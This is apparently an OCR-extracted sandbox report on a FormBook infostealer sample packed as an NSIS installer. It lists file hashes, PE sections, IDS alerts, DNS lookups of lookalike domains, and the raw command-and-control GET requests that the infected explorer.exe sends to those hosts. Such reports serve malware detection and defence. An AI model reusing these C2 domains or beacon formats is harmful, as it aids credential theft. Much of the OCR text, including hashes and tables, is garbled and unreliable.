15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
15.197.142.173
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https://view.joesandbox.com/analysis/416251/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416251/html/none?idtype=webid
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid
https://view.joesandbox.com/analysis/416190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416190/html/none?idtype=webid
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid
https://view.joesandbox.com/analysis/416063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416063/html/none?idtype=webid
https://view.joesandbox.com/analysis/416052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416052/html/none?idtype=webid
https://view.joesandbox.com/analysis/416046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416046/html/none?idtype=webid
https://view.joesandbox.com/analysis/416008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416008/html/none?idtype=webid
https://view.joesandbox.com/analysis/416000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416000/html/none?idtype=webid
https://view.joesandbox.com/analysis/415991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415991/html/none?idtype=webid
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid
https://view.joesandbox.com/analysis/415888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415888/html/none?idtype=webid
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid
https://view.joesandbox.com/analysis/415815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415815/html/none?idtype=webid
https://view.joesandbox.com/analysis/415759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415759/html/none?idtype=webid
https://view.joesandbox.com/analysis/415756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415756/html/none?idtype=webid
https://view.joesandbox.com/analysis/415755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415755/html/none?idtype=webid
https://view.joesandbox.com/analysis/415753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415753/html/none?idtype=webid
https://view.joesandbox.com/analysis/415942/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415942/html/none?idtype=webid
https://view.joesandbox.com/analysis/414160/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414160/html/none?idtype=webid
https://view.joesandbox.com/analysis/413392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413392/html/none?idtype=webid
https://view.joesandbox.com/analysis/412723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412723/html/none?idtype=webid
https://view.joesandbox.com/analysis/412636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412636/html/none?idtype=webid
https://view.joesandbox.com/analysis/411778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411778/html/none?idtype=webid
https://view.joesandbox.com/analysis/410313/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410313/html/none?idtype=webid
https://view.joesandbox.com/analysis/410309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410309/html/none?idtype=webid
https://view.joesandbox.com/analysis/408793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408793/html/none?idtype=webid
https://view.joesandbox.com/analysis/408057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408057/html/none?idtype=webid
https://view.joesandbox.com/analysis/406315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406315/html/none?idtype=webid
https://view.joesandbox.com/analysis/405308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405308/html/none?idtype=webid
https://view.joesandbox.com/analysis/404954/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404954/html/none?idtype=webid
https://view.joesandbox.com/analysis/404943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404943/html/none?idtype=webid
https://view.joesandbox.com/analysis/404381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404381/html/none?idtype=webid
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid
https://view.joesandbox.com/analysis/398513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398513/html/none?idtype=webid
https://view.joesandbox.com/analysis/398092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398092/html/none?idtype=webid
https://view.joesandbox.com/analysis/396657/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396657/html/none?idtype=webid
https://view.joesandbox.com/analysis/395690/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395690/html/none?idtype=webid
https://view.joesandbox.com/analysis/416145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416145/html/none?idtype=webid
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid
https://view.joesandbox.com/analysis/416078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416078/html/none?idtype=webid
https://view.joesandbox.com/analysis/415892/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415892/html/none?idtype=webid
https://view.joesandbox.com/analysis/415846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415846/html/none?idtype=webid
https://view.joesandbox.com/analysis/415565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415565/html/none?idtype=webid
https://view.joesandbox.com/analysis/415521/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415521/html/none?idtype=webid
https://view.joesandbox.com/analysis/414918/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414918/html/none?idtype=webid
https://view.joesandbox.com/analysis/414446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414446/html/none?idtype=webid
https://view.joesandbox.com/analysis/414127/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414127/html/none?idtype=webid
https://view.joesandbox.com/analysis/414099/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414099/html/none?idtype=webid
https://view.joesandbox.com/analysis/413981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413981/html/none?idtype=webid
https://view.joesandbox.com/analysis/413956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413956/html/none?idtype=webid
https://view.joesandbox.com/analysis/413896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413896/html/none?idtype=webid
https://view.joesandbox.com/analysis/413315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413315/html/none?idtype=webid
https://view.joesandbox.com/analysis/413180/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413180/html/none?idtype=webid
https://view.joesandbox.com/analysis/413064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413064/html/none?idtype=webid
https://view.joesandbox.com/analysis/413056/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413056/html/none?idtype=webid
https://view.joesandbox.com/analysis/411476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411476/html/none?idtype=webid
https://view.joesandbox.com/analysis/410687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410687/html/none?idtype=webid

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\ff0231.exe

data

dropped

215058

7.992809468929609

true

6144:hHWRmMYLNGNUS9DOXtB2jI6MCivoulTnM22FTJ:thY Sx9D8CTLnzMDF9
AD14EFC487C65587B5B384473F921CD2
F7EBC52A9A0AF9CC44664E888906033D1AF9CDB3
A7ACECC70EA2D62881EFC39E3F5EB4ADB3844CDA900CEFA48AAECA8551D273347

FD160F86A1C166A40FD2CDF4939934FCAC674BD12450EDC5BBAG6630981E2AEB41BI9CE7189D5D5E1F206C12E84F775358C8B1AE95C89D3B60CCA4ECDOCOB3A
37

false

low

...7.8}.2..AK.& K.Hv....0~..JB.."d..u...3%..F.d....S......

..n@].D-..U.S..S.....{,.).....h..m...Pq%%.Qrl..z<.....i0......5.-T..&..{ 1s.>.L1....a0@cb{.#.R... Th.9../...11..2ds.";g.....=. HRW[.%.Kz..<m..#.' ... 78}Lz.A
K.&K.Hv....0~..JB.."d..u...3%..F.d....S.......n@].D-..U.S....._.....J.{..)..k.h..m...Pq.%..Qrl..z<....i0.....5.-T..&.{.1s.>.L1...a0@cb{. #R...Tb.9.../...11...2ds.";g...... =.
HRWL.%Kz.<m.. #."...7.8}z2.AK&KHv..0~.JB."d..u..3%..F.d..S....n@]D-.US..._..J{.).kh.m..Pq%.Qrl.z<.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Users\user\Desktop\ff0231.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

88576

6.395867437606634

false
1536:cTa5ekdu7Mw7zZUJBIQFVchiFqK8/baPbUfskExk:cTOrdu7MQk3XchiFGQxx
27E639F08ED217F528FFFOEEC80A4FF5
O0FB150A7CDCF24403FC9D4463E38CC1549CC4786
E7422D8679E6F47B4E68B638A8501E665E26765381EE0812FC909728D7052961
F5E1CA240D0795B0878D7F851AD770C06AD67046CB80781FODFCAF79E90DCC097969DA71B19440A467AEC2850060D37CF1C4263CD872683A37766D4AFD80B42
true

e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%

low

1..L.IThis program cannot be run in DOS mode.$..PE..L...R.a
.P..H HT. text.

Static File Info

General
File type:

Entropy (8bit):

PE32 executable (GUI) Intel 80386, for MS Windows,
Nullsoft Installer self-extracting archive

7.928760560009552
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General
TrID:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

e Win32 Executable (generic) a (10002005/4)
92.16%

e NSIS - Nullsoft Scriptable Install System (846627/2)
7.80%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

ff0231.exe

291150

b2bdb06e477be0fc87f7bbd744ff7d38
521e91257dfee2420e66af761f8ef631611a8149

3e1840a0f24371b46b7e196c6c04cha6f218c1989edd4dC
eadc540e0b4efl17f7

4533d1ea041ccaa518e5342c143afcbb091959baade88ft

c05db58c88cf6672b95c899ec8812b21d63f453452d82aa
9bc09c79b111c0f8344f1573e8be2474eb

SSDEEP:

6144:rGibxCiJisiznt3+aXctz31511a8s3voulTnM22WaH0
n7LWIVbn9/+0QmAI:5FJFiJVc2lpzMDWaHOXW7n9/0m
r

File Content Preview:

is program cannot be run in DOS mode....$.
$.85./{.$..%..%"y.$.7. S $Rich.$....cccooo. P
E.lLHo WU 0.....

File Icon

Icon Hash: b2a88c96b2caba72
Static PE Info

General

Entrypoint: 0x4030e3
Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000
Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:
TLS Callbacks:
CLR (.Net) Version:

0x48EFCDCD [Fri Oct 10 21:49:01 2008 UTC]

OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o » o » O &

Subsystem Version Minor:

Import Hash: 7fa974366048f9c551ef45714595665e
Entrypoint Preview

Rich Headers

Data Directories

Sections

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x5b68 0x5c00 False 0.67722486413 data 6.48746502716 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rdata 0x7000 0x129c 0x1400 False 0.4337890625 data 5.04904254867 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

.data 0x9000 0x25c58 0x400 False 0.58203125 data 4.76995537906 IMAGE_SCN_CNT_INITIALIZED_DA

TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
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Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy

.ndata 0x2f000 0x8000 0x0 False 0 empty 0.0

.rsrc 0x37000 0x900 0xa00 False 0.4078125 data 3.93441125971

Resources

Imports

Possible Origin

Language of compilation system Country where language is spoken

English United States

Network Behavior

Snort IDS Alerts

Source

Timestamp Protocol SID Message Port

11/25/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49835

14:52:25.627974

11/25/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49835

14:52:25.627974

11/25/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49835

14:52:25.627974

11/25/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80

14:52:25.644872

11/25/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49857

14:52:49.935941

11/25/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49857

14:52:49.935941

11/25/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49857

14:52:49.935941

11/25/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80

14:52:50.116125

11/25/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80

14:53:10.721504

11/25/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80

14:54:13.962247

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name

Nov 25, 2021 14:52:25.556238890 CET 192.168.2.4 8.8.8.8 0x67f1 Standard query  www.compte
(0) sgratuit.fr

Nov 25, 2021 14:52:49.875273943 CET 192.168.2.4 8.8.8.8 0x3d3a Standard query  www.evchar
(0) georacle.com

Nov 25, 2021 14:53:10.516654968 CET 192.168.2.4 8.8.8.8 0x5e5¢ Standard query  www.meta-f
(0) acebook.life

Nov 25, 2021 14:53:31.116332054 CET 192.168.2.4 8.8.8.8 0x77cf Standard query  www.schuet
(0) te.tech

Copyright Joe Security LLC 2021

Characteristics

IMAGE_SCN_MEM

_WRITE,

IMAGE_SCN_CNT_UNINITIALIZED_
DATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Map

Dest
Port Source IP

80 192.168.2.4
80 192.168.2.4
80 192.168.2.4

49835 185.53.178.54

80 192.168.2.4
80 192.168.2.4
80 192.168.2.4

Dest IP
185.53.178.54

185.53.178.54

185.53.178.54

192.168.2.4

34.102.136.180

34.102.136.180

34.102.136.180

49857 34.102.136.180 192.168.2.4

49858 34.102.136.180 192.168.2.4

49886 15.197.142.173 192.168.2.4

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Nov 25, 2021 14:53:51.348086119 CET

Nov 25, 2021 14:54:13.713430882 CET

Nov 25, 2021 14:54:34.396709919 CET

DNS Answers

Timestamp Source IP Dest IP

Nov 25, 2021 8.8.8.8
14:52:25.589087963
CET

Nov 25, 2021 8.8.8.8
14:52:49.913043976
CET

Nov 25, 2021 8.8.8.8
14:52:49.913043976
CET

Nov 25, 2021 8.8.8.8
14:53:10.577569008
CET

Nov 25, 2021 8.8.8.8
14:53:10.577569008
CET

Nov 25, 2021 8.8.8.8
14:53:31.137038946
CET

Nov 25, 2021 8.8.8.8
14:53:31.137038946
CET

Nov 25, 2021 8.8.8.8
14:53:51.486010075
CET

Nov 25, 2021 8.8.8.8
14:53:51.486010075
CET

Nov 25, 2021 8.8.8.8
14:54:13.744256020
CET

Nov 25, 2021 8.8.8.8
14:54:13.744256020
CET

Nov 25, 2021 8.8.8.8
14:54:13.744256020
CET

Nov 25, 2021 8.8.8.8
14:54:34.434103966
CET

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

HTTP Request Dependency Graph

* www.comptesgratuit.fr

e www.evchargeoracle.com

* www.meta-facebook.life

e www.schuette.tech

e www.teslaislandboys.com

* www.facebook-meta.net

HTTP Packets

Session ID

0

Copyright Joe Security LLC 2!

Source IP

192.168.2.4 49835

021

Source IP Dest IP
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
Trans ID Reply Code
0x67f1 No error (0)

0x3d3a

0x3d3a

0x5e5¢

0x5e5¢

0x77cf

0x77cf

0x6995

0x6995

0xe248

0xe248

0xe248

0x92ad

Source Port

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Trans ID OP Code Name

0x6995 Standard query  www.teslai
(0) slandboys.com
0xe248 Standard query  www.facebook-
(0) meta.net
0x92ad Standard query  www.chases
0) ecurobanki
ng.com
Name CName Address
www.compte 185.53.178.54
sgratuit.fr
www.evchar evchargeoracle.com

georacle.com

evchargeor
acle.com

www.meta-f meta-facebook.life
acebook.life

meta-faceb
ook.life

www.schuet
te.tech

www.schuet
te.tech

www.teslai ghs.googlehosted.com
slandboys.com

ghs.google
hosted.com

www.facebook-  facebook-meta.net
meta.net

facebook-m
eta.net

facebook-m
eta.net

www.chases none
ecurobanki
ng.com

Destination IP Destination Port Process

185.53.178.54 80

C:\Windows\explorer.exe

34.102.136.180

34.102.136.180

5.9.96.94

192.64.119.127

142.250.203.115

15.197.142.173

3.33.152.147

none

Type
A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)
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kBytes
Timestamp transferred

Nov 25, 2021 13280
14:52:25.627974033 CET

Nov 25, 2021 13280
14:52:25.644871950 CET

Session ID Source IP
1 192.168.2.4

kBytes
Timestamp transferred
Nov 25, 2021 13953

14:52:49.935940981 CET

Nov 25, 2021 13954
14:52:50.116125107 CET

Session ID Source IP
2 192.168.2.4

kBytes
Timestamp transferred
Nov 25, 2021 13955

14:53:10.601125956 CET
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Direction

ouT

Source Port

49857

Direction

ouT

Source Port
49858

Direction
ouT

Data

GET /fh3c/?7nhH=HxI0d2MH-t9Hyv&z0GdXd=ygpAwtep7WxWCgU1n5iY5amVcELuOtSIdE/9Y9Jyy4nkdNu97XXX
bghTbpjnrxNYSyQT HTTP/1.1

Host: www.comptesgratuit.fr

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: nginx

Date: Thu, 25 Nov 2021 13:52:25 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html|>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /fh3¢/?20GdXd=TEDmMWG6IEX7An5IAq1gB0cQiS4L3buUHQqtO303qgqMncoo4GVsMboScKfxnSemig/wshnV&7nh
H=HxI0d2MH-t9Hyv HTTP/1.1

Host: www.evchargeoracle.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 25 Nov 2021 13:52:50 GMT

Content-Type: text/html

Content-Length: 275

ETag: "618be74a-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e Oa 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process
34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /fh3c/?7nhH=HxI0d2MH-t9Hyv&z0GdXd=tXPHdMDKONGhRVqCAOIZHOyOOPTL+BRkpbdAk/iYV8rKicqHrA4r
OokXZOWK7+I/WVZA HTTP/1.1

Host: www.meta-facebook.life

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Nov 25, 2021 13955
14:53:10.721503973 CET

Session ID Source IP
3 192.168.2.4

kBytes
Timestamp transferred
Nov 25, 2021 13956

14:53:31.168188095 CET

Nov 25, 2021 13957
14:53:31.192174911 CET

Session ID Source IP
4 192.168.2.4

kBytes
Timestamp transferred
Nov 25, 2021 16022

14:53:51.505518913 CET

Nov 25, 2021 16042
14:53:51.537875891 CET

Session ID Source IP
5 192.168.2.4
Copyright Joe Security LLC 2021

Direction

IN

Source Port

49859

Direction

ouT

Source Port
49866

Direction
ouT

Source Port

49886

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 25 Nov 2021 13:53:10 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6192576d-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

5.9.96.94 80 C:\Windows\explorer.exe

Data

GET /fh3¢c/?z0GdXd=N2vEI10X7w/3udy+ydCYc971PZER2FJIK1gZL6IMnG Sul5qwd848spLio4s8j+VNLmhX&7nh
H=HxI0d2MH-t9Hyv HTTP/1.1

Host: www.schuette.tech

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx/1.18.0 (Ubuntu)

Date: Thu, 25 Nov 2021 13:53:31 GMT

Content-Type: text/html

Content-Length: 162

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68
74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx/1.18.0 (Ubuntu)</center></body></html>

Destination IP  Destination Port Process
142.250.203.115 80 C:\Windows\explorer.exe

Data

GET /fh3c/?7nhH=HxI0d2MH-t9Hyv&z0GdXd=n2wKPxZ8pCyDi97rnXro6S5Jba3+KYmZzZJcqoataOVa/lb+/xmeUl
9XREWNMNK15IZXN HTTP/1.1

Host: www.teslaislandboys.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Location: http://cirn.one

Date: Thu, 25 Nov 2021 13:53:51 GMT

Content-Type: text/html; charset=UTF-8

Server: ghs

Content-Length: 212

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

Connection: close

Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e
742d 7479 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38
22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e
0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76
65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 63 69 72 6e 2e 6f 6e 65 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d Oa
3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d Oa

Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TI
TLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://cirn.one">here</A>.</BODY><
HTML>

Destination IP Destination Port Process
15.197.142.173 80 C:\Windows\explorer.exe
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Timestamp

Nov 25, 2021
14:54:13.764236927 CET

Nov 25, 2021
14:54:13.962246895 CET

kBytes

transferred

16834

16834

Code Manipulations

Statistics

Behavior

Direction

ouT

\E' Click to jump to process

System Behavior

Data

GET /fh3c/?z0GdXd=WoHCcE9GCxXT7wUBgkc+214Z3+m1n5nn1xCnIHBmko3viCo3Igm4+0h54SxcBONGJIBR7p&7nh
H=HxI0d2MH-t9Hyv HTTP/1.1

Host: www.facebook-meta.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: awselb/2.0

Date: Thu, 25 Nov 2021 13:54:13 GMT

Content-Type: text/html

Content-Length: 118

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
